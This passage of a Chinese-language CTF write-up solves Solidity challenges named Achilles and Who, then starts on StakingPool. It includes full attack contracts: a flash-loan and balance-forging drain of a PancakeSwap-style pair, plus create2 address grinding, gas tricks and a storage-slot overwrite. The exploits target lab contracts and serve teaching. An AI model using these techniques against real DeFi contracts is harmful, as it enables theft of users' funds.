emit Approval(owner, spender, amount);
}

/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}

/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

// File: contracts/Achil/contracts/WETH.sol


pragma solidity ^0.8.0;


contract WETH is ERC20 {
constructor() ERC20("WETH", "WETH") {
_mint(msg.sender, 1000 ether);
}
}

Achilles.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Interface.sol";


contract Achilles {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;

IERC20 public weth;
IPancakePair public pair;

uint256 public _totalSupply;
uint256 private airdropAmount = 0;
uint256 public block2;

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);

constructor(address _pair, address _weth) {
_mint(msg.sender, 1000 ether);
pair = IPancakePair(_pair);
weth = IERC20(_weth);
}

function balanceOf(address account) public view returns (uint256) {
uint256 balance = _balances[account];
return balance;
}

function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}

function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
return true;
}

function Airdrop(uint256 amount) public {
require(weth.balanceOf(address(pair)) / this.balanceOf(address(pair)) > 5, "not enough price!");
airdropAmount = amount;
}

function _transfer(address sender, address to, uint256 amount) private {
require(_balances[sender] >= amount, "balance exc!");
_balances[sender] = _balances[sender] - amount;
_balances[to] = _balances[to] + amount;
_airdrop(sender, to, amount);
emit Transfer(sender, to, amount);
}

function _approve(address owner, address spender, uint256 amount) private {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

function _airdrop(address from, address to, uint256 tAmount) private {
block2 = block.number;
uint256 seed = (uint160(msg.sender) | block.number) ^ (uint160(from) ^ uint160(to));
address airdropAddress;
for (uint256 i; i < airdropAmount;) {
airdropAddress = address(uint160(seed | tAmount));
_balances[airdropAddress] = airdropAmount;
emit Transfer(airdropAddress, airdropAddress, airdropAmount);
unchecked{
++i;
seed = seed >> 1;
}
}
}

function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");

_beforeTokenTransfer(address(0), account, amount);

_totalSupply += amount;

_balances[account] += amount;

emit Transfer(address(0), account, amount);

_afterTokenTransfer(address(0), account, amount);
}

function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");

_beforeTokenTransfer(account, address(0), amount);

uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}

emit Transfer(account, address(0), amount);

_afterTokenTransfer(account, address(0), amount);
}

function _beforeTokenTransfer(address from, address to, uint256 amount) internal {

}

function _afterTokenTransfer(address from, address to, uint256 amount) internal {

}
}
SetUp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Achilles.sol";
import "./WETH.sol";
import "./Interface.sol";
import "./PancakeSwap.sol";

contract SetUp {

PancakePair public pair = new PancakePair();
WETH public weth = new WETH();
Achilles public achilles = new Achilles(address(pair), address(weth));
address public yourAddress;

constructor() {
pair.initialize(address(achilles), address(weth));
achilles.transfer(address(pair), achilles.balanceOf(address(this)));
weth.transfer(address(pair), weth.balanceOf(address(this)));
pair.sync();
yourAddress = msg.sender;
}

function isSolved() public view returns(bool) {
require(pair.unlocked()==1);
require(weth.balanceOf(yourAddress) >= 100 ether);
return true;
}
}

Analysis

这道题有些复杂了,但是算比较有趣,首先这道题的交易所当中借贷是不需要利息的,所以在做题过程中不用考虑利息的存在。当在看Achilles合约时,会发现_airdrop()函数中这几段代码

1
2
3
4
uint256 seed = (uint160(msg.sender) | block.number) ^ (uint160(from) ^ uint160(to));
address airdropAddress;
airdropAddress = address(uint160(seed | tAmount));
_balances[airdropAddress] = airdropAmount;

看到这段代码就可以想到,可以自己控制fromto,然后使tAmount的值为0,来控制airdropAddress的值,因为当tAmount0时,seed和它相或可得seed本身,同时又因为这段函数需要transfer()来调用,所以当tAmount0时可以任意输入fromto。但在这之前还需要使airdropAmount变得大于0,才能对自己airdropAddress_balances进行赋值。在这里我最开始想的是使airdropAddress的值变为我的账户,使得它的ach变得很大,即可调走交易所中的weth,但后来我发现这样的话会使得airdropAmount变得很大,导致for循环多次从而使得gas耗尽而调用失败,所以我换了一种思路。让airdropAmount的值为1,先从交易所借来850 ether使得

1
require(weth.balanceOf(address(pair)) / this.balanceOf(address(pair)) > 5, "not enough price!");

这段条件成立从而控制airdropAmount,之后将所有weth还给交易所,在通过_airdrop给交易所地址的ach余额赋值为1,再通过交易所的sync()函数更新,再将airdropAmount的值改为112即可,然后对攻击合约的余额赋值为112,再然后通过交易所借走100 etherweth,再还给交易所112 weiach即可

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./PancakeSwap.sol";
import "./WETH.sol";
import "./Achilles.sol";

contract Attack is IPancakeCallee{
PancakePair public pair;
WETH public weth;
Achilles public ach;
uint256 public block1;
address public c;
address public e;

constructor(address _pair, address _weth, address _ach){
pair = PancakePair(_pair);
weth = WETH(_weth);
ach = Achilles(_ach);
}

function flashloan1() public {
pair.swap(850000000000000000000, 0, address(this), '0x01');
}

function flashloan2() public {
pair.swap(0, 100000000000000000000, address(this), '0x01');
}

function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external{
if(amount1 == 0){
ach.Airdrop(1);
ach.transfer(address(pair),850000000000000000000);
}else{
ach.transfer(address(pair),111);
weth.transfer(address(tx.origin),100000000000000000000);
}
}

function attack() public {
block1 = block.number;
address a = address((uint160(address(this))|uint160(block1))^uint160(address(pair))^uint160(address(this)));
ach.transferFrom(address(this),a,0);
pair.sync();
c = address(uint160((uint160(address(this)) | block1) ^ (uint160(address(this)) ^ uint160(a))));
}

function attack1() public{
block1 = block.number;
ach.Airdrop(112);
address b = address(uint160(address(this))&uint160(block1)^uint160(block.number)^uint160(address(this)));
e = address(uint160((uint160(address(this)) | block1) ^ (uint160(address(this)) ^ uint160(b))));
ach.transfer(b,0);
ach.Airdrop(0);
}
}

调用流程flashloan1() => attack() => attack1() => flashloan2()

五.Who

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Foo {
address who;
mapping (uint256 => mapping (address => bool)) public stats;
constructor() {}

function setup() external {
require(uint256(uint160(msg.sender)) % 1000 == 137, "!good caller");
who = msg.sender;
}

function stage1() external {
require(msg.sender == who, "stage1: !setup");
stats[1][msg.sender] = true;

(, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("check()"));
require(abi.decode(data, (bytes32)) == keccak256(abi.encodePacked("1337")), "stage1: !check");

(, data) = msg.sender.staticcall(abi.encodeWithSignature("check()"));
require(abi.decode(data, (bytes32)) == keccak256(abi.encodePacked("13337")), "stage1: !check2");
}

function stage2() external {
require(stats[1][msg.sender], "goto stage1");
stats[2][msg.sender] = true;
require(this._stage2() == 7, "!stage2");
}

function _stage2() external payable returns (uint x) {
unchecked {
x = 1;
try this._stage2() returns (uint x_) {
x += x_;
} catch {}
}
}

function stage3() external {
require(stats[2][msg.sender], "goto stage2");
stats[3][msg.sender] = true;
uint[] memory challenge = new uint[](8);

challenge[0] = (block.timestamp & 0xf0000000) >> 28;
challenge[1] = (block.timestamp & 0xf000000) >> 24;
challenge[2] = (block.timestamp & 0xf00000) >> 20;
challenge[3] = (block.timestamp & 0xf0000) >> 16;
challenge[4] = (block.timestamp & 0xf000) >> 12;
challenge[5] = (block.timestamp & 0xf00) >> 8;
challenge[6] = (block.timestamp & 0xf0) >> 4;
challenge[7] = (block.timestamp & 0xf) >> 0;


(, bytes memory data) = msg.sender.staticcall{gas: 3_888}(abi.encodeWithSignature("sort(uint256[])", challenge));
uint[] memory answer = abi.decode(data, (uint[]));


for(uint i=0 ; i<8 ; i++) {
for(uint j=i+1 ; j<8 ; j++) {
if (challenge[i] > challenge[j]) {
uint tmp = challenge[i];
challenge[i] = challenge[j];
challenge[j] = tmp;
}
}
}


for(uint i=0 ; i<8 ; i++) {
require(challenge[i] == answer[i], "stage3: !sort");
}
}

function stage4() external {
require(stats[3][msg.sender], "goto stage3");
(, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("pos()"));
bytes32 pos = abi.decode(data, (bytes32));
assembly {
sstore(pos, 0x1)
}
}

function isSolved() external view returns (bool) {
return stats[4][who];
}
}

Analysis

这道题是一个闯关性质的题目,首先setup()的限制可以用create2()来解决,之后是stage1(),这一关是让攻击合约的check()函数在两次静态调用时返回两个不同的数据(静态调用不允许修改任何链上的状态),我们可以利用相同地址在两次调用时所耗费的gas不同这一原理即可。

接下来是stage2(),这一关是需要调用_stage2()的返回值为7,可以看到这个函数是不断递归调用自身的,所以想让它的返回值为7,只需要在特定的值使得gas耗尽即可(注意到EVM在调用其他合约的时候会保留1/64gas,所以除了最后一层会·revert以外,其他的调用都可以正常返回)。

在之后是stage3(),这一关是在获取block.timestamp,与不同的位数想与之后,让我们在3888gas下去进行冒泡排序,很明显这些gas不够,但是我们要知道在同一笔交易中获取到区块信息是相同的,所以我们可以在一个函数中获取block.timestamp,之后进行排序并存入的storge中,并调用stage3,再让sort(uint256[])函数返回排好序的数组即可。

最后是stage4(),这一关是考查关于映射的存储方式,我们只需要计算出stats[4][who]的地址并用pos()返回即可。

对应于映射键的值 k is located at keccak256(h(k) . p) where . 是串联的,并且 h 是根据键的类型应用于键的函数:

  • 对于值类型, h 将值填充为32字节的方式与在内存中存储值时的方式相同。

  • 对于字符串和字节数组, h 计算 keccak256 未填充数据的哈希。

如果映射值是非值类型,则计算的槽标记数据的开始。例如,如果值是结构类型,则必须添加与结构成员相对应的偏移量才能到达该成员。

在这道题中mapping位于插槽1,所以可以得出第一个映射键值4对应的存储地址是keccak256(abi.encode(4,1)),而第二个键值who就可以得知对应存储地址为keccak256(abi.encode(address(this),keccak256(abi.encode(4,1))))

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import {Foo} from "../src/Foo.sol";

contract FooTest is Test {
Foo public foo;
FooAttack public solver;

function setUp() external {
foo = new Foo();
}

function test_hackFoo() public {
Deployer deploy = new Deployer();
solver = FooAttack(deploy.deploy());
solver.suands1(foo);
solver.s2();
solver.s3();
solver.s4();
assertTrue(foo.isSolved());
}

}

contract FooAttack{
Foo public target;
uint[] public challenge = new uint[](8);

function suands1(Foo _foo) public {
target = _foo;
target.setup();
target.stage1();
}

function s2() public {
for (uint i = 40_000;; i+=500) {
(bool success, ) = address(target).call{gas: i}(abi.encodeWithSignature("stage2()"));
if(success){
break;
}
if(i > 50_000 && !success){
revert("oh! failed");
}
}
}

function s3() public {
challenge[0] = (block.timestamp & 0xf0000000) >> 28;
challenge[1] = (block.timestamp & 0xf000000) >> 24;
challenge[2] = (block.timestamp & 0xf00000) >> 20;
challenge[3] = (block.timestamp & 0xf0000) >> 16;
challenge[4] = (block.timestamp & 0xf000) >> 12;
challenge[5] = (block.timestamp & 0xf00) >> 8;
challenge[6] = (block.timestamp & 0xf0) >> 4;
challenge[7] = (block.timestamp & 0xf) >> 0;

for(uint i=0 ; i<8 ; i++) {
for(uint j=i+1 ; j<8 ; j++) {
if (challenge[i] > challenge[j]) {
uint tmp = challenge[i];
challenge[i] = challenge[j];
challenge[j] = tmp;
}
}
}

target.stage3();
}

function s4() public {
target.stage4();
}

function check() public view returns (bytes32) {
uint a = gasleft();
uint bal = address(0x100).balance;
uint b = gasleft();
uint c = a - b;
if (c < 1000)
{
return keccak256(abi.encodePacked("13337"));
}else{
return keccak256(abi.encodePacked("1337"));
}
}

function sort(uint256[] memory) public view returns (uint256[] memory){
return challenge;
}

function pos() public view returns (bytes32){
bytes32 a = keccak256(abi.encode(4,1));
bytes32 b = keccak256(abi.encode(address(this),a));
return b;
}

}

contract Deployer{
address public deployedAddress;

function deploy() public returns(address){

address addr;
bytes memory bytecode = type(FooAttack).creationCode;
uint256 salt = creatsalt();
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
deployedAddress = addr;

return addr;
}

function creatsalt() public view returns (uint i){
bytes memory bytecode = type(FooAttack).creationCode;
for(i=0;i<99999;i++){
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff),
address(this),
i,
keccak256(bytecode)
)
);
if(uint256(uint160(uint(hash))) % 1000 == 137){
return i;
}
}
}
}

六.StakingPool

Code

ERC20.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract Context {
constructor() {}

function _msgSender() internal view virtual returns (address) {
return msg.sender;
}

function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}

/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {

function totalSupply() external view returns (uint256);

function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount)
external
returns (bool);

function allowance(address owner, address spender)
external
view
returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);

event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}

// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
contract Ownable is Context {
address private _owner;
address private _previousOwner;

event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);

constructor() {
address msgSender = _msgSender();
_owner = _msgSender();
emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}

function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}

function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}

// File: contracts/ERC20.sol
contract ERC20 is Ownable, IERC20 {
mapping(address => uint256) internal _balances;

mapping(address => mapping(address => uint256)) private _allowances;

uint256 private _totalSupply;

string private _name;
string private _symbol;

constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}

function name() public view virtual returns (string memory) {
return _name;
}

function symbol() public view virtual returns (string memory) {
return _symbol;
}

function decimals() public view virtual returns (uint8) {
return 18;
}

function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}

function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}

function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}

/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}

function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}

function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}

return true;
}

function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");

_beforeTokenTransfer(from, to, amount);

uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}

emit Transfer(from, to, amount);

_afterTokenTransfer(from, to, amount);
}

function mint(address account, uint256 amount) public onlyOwner {
_mint(account, amount);
}

function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");

_beforeTokenTransfer(address(0), account, amount);

_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);

_afterTokenTransfer(address(0), account, amount);
}

function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");

_beforeTokenTransfer(account, address(0), amount);

uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}

emit Transfer(account, address(0), amount);

_afterTokenTransfer(account, address(0), amount);
}

function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}

function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
ERC20V2.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "./ERC20.sol";
// File: contracts/ERC20.sol
contract ERC20V2 is ERC20 {

constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){
}

function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}

function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}

function increaseAllowance(address spender, uint256 addedValue) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}

return true;
}

function _transfer(address from, address to, uint256 amount) internal override virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");

_beforeTokenTransfer(from, to, amount);

uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
uint256 toBalance = _balances[to];
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] = toBalance + amount;
}

emit Transfer(from, to, amount);

_afterTokenTransfer(from, to, amount);
}
}
StakingPools_MT.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "./ERC20.sol";
/*
@author: Daniel Tan@MetaTrust Labs
*/
/**
* @dev Contract module that helps prevent reentrant calls to a function.
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;

uint256 private _status;

constructor() {
_status = _NOT_ENTERED;
}

modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

_status = _ENTERED;

_;

_status = _NOT_ENTERED;
}
}

contract StakingPools is
Ownable,
ReentrancyGuard,
ERC20("Staking Pools", "Pools")
{

// The address of the smart chef factory
address public BSC_CASTLE_FACTORY;

// Whether it is initialized
bool public isInitialized;

// Accrued token per share
mapping(ERC20 => uint256) public accTokenPerShare;

// The block number when staking starts.
uint256 public stakingBlock;

// The block number when staking end.
uint256 public stakingEndBlock;

// The block number when BSC mining ends.
uint256 public bonusEndBlock;

// The block number when BSC mining starts.
uint256 public startBlock;

// The block number of the last pool update
uint256 public lastRewardBlock;

// Whether the pool's staked token balance can be remove by owner
bool private isRemovable;

// BSC tokens created per block.
mapping(ERC20 => uint256) public rewardPerBlock;

// The precision factor
mapping(ERC20 => uint256) public PRECISION_FACTOR;

// The reward token
ERC20[] public rewardTokens;

// The staked token
ERC20 public stakedToken;

// Info of each user that stakes tokens (stakedToken)
mapping(address => UserInfo) public userInfo;

struct UserInfo {
uint256 amount; // How many staked tokens the user has provided
uint256 lastStakingBlock;
mapping(ERC20 => uint256) rewardDebt; // Reward debt
}

event AdminTokenRecovery(address tokenRecovered, uint256 amount);
event Deposit(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
event NewStartAndEndBlocks(uint256 startBlock, uint256 endBlock);
event NewRewardPerBlock(uint256 rewardPerBlock, ERC20 token);
event RewardsStop(uint256 blockNumber);
event Withdraw(address indexed user, uint256 amount);
event NewRewardToken(ERC20 token, uint256 rewardPerBlock, uint256 p_factor);
event RemoveRewardToken(ERC20 token);
event NewStakingBlocks(uint256 startStakingBlock, uint256 endStakingBlock);

constructor() {
BSC_CASTLE_FACTORY = msg.sender;
}

/*
* @notice Initialize the contract
* @param _stakedToken: staked token address
* @param _rewardToken: reward token address
* @param _rewardPerBlock: reward per block (in rewardToken)
* @param _startBlock: start block
* @param _bonusEndBlock: end block
* @param _admin: admin address with ownership
*/
function initialize(
ERC20 _stakedToken,
ERC20[] memory _rewardTokens,
uint256[] memory _rewardPerBlock,
uint256[] memory _startEndBlocks,
uint256[] memory _stakingBlocks
) external {
require(!isInitialized, "Already initialized");
require(msg.sender == BSC_CASTLE_FACTORY, "Not factory");
require(
_rewardTokens.length == _rewardPerBlock.length,
"Mismatch length"
);

// Make this contract initialized
isInitialized = true;

stakedToken = _stakedToken;
rewardTokens = _rewardTokens;
startBlock = _startEndBlocks[0];
bonusEndBlock = _startEndBlocks[1];

require(
_stakingBlocks[0] < _stakingBlocks[1],
"Staking block exceeds end staking block"
);
stakingBlock = _stakingBlocks[0];
stakingEndBlock = _stakingBlocks[1];

uint256 decimalsRewardToken;
for (uint256 i = 0; i < _rewardTokens.length; i++) {
decimalsRewardToken = uint256(_rewardTokens[i].decimals());
require(decimalsRewardToken < 30, "Must be inferior to 30");
PRECISION_FACTOR[_rewardTokens[i]] = uint256(
10**(uint256(30)- decimalsRewardToken)
);
rewardPerBlock[_rewardTokens[i]] = _rewardPerBlock[i];
}

// Set the lastRewardBlock as the startBlock
lastRewardBlock = startBlock;
}

/*
* @notice Deposit staked tokens and collect reward tokens (if any)
* @param _amount: amount to withdraw (in rewardToken)
*/
function deposit(uint256 _amount) external nonReentrant {
UserInfo storage user = userInfo[msg.sender];

require(stakingBlock <= block.number, "Staking has not started");
require(stakingEndBlock >= block.number, "Staking has ended");

_updatePool();

if (user.amount > 0) {
uint256 pending;
for (uint256 i = 0; i < rewardTokens.length; i++) {
pending = user
.amount
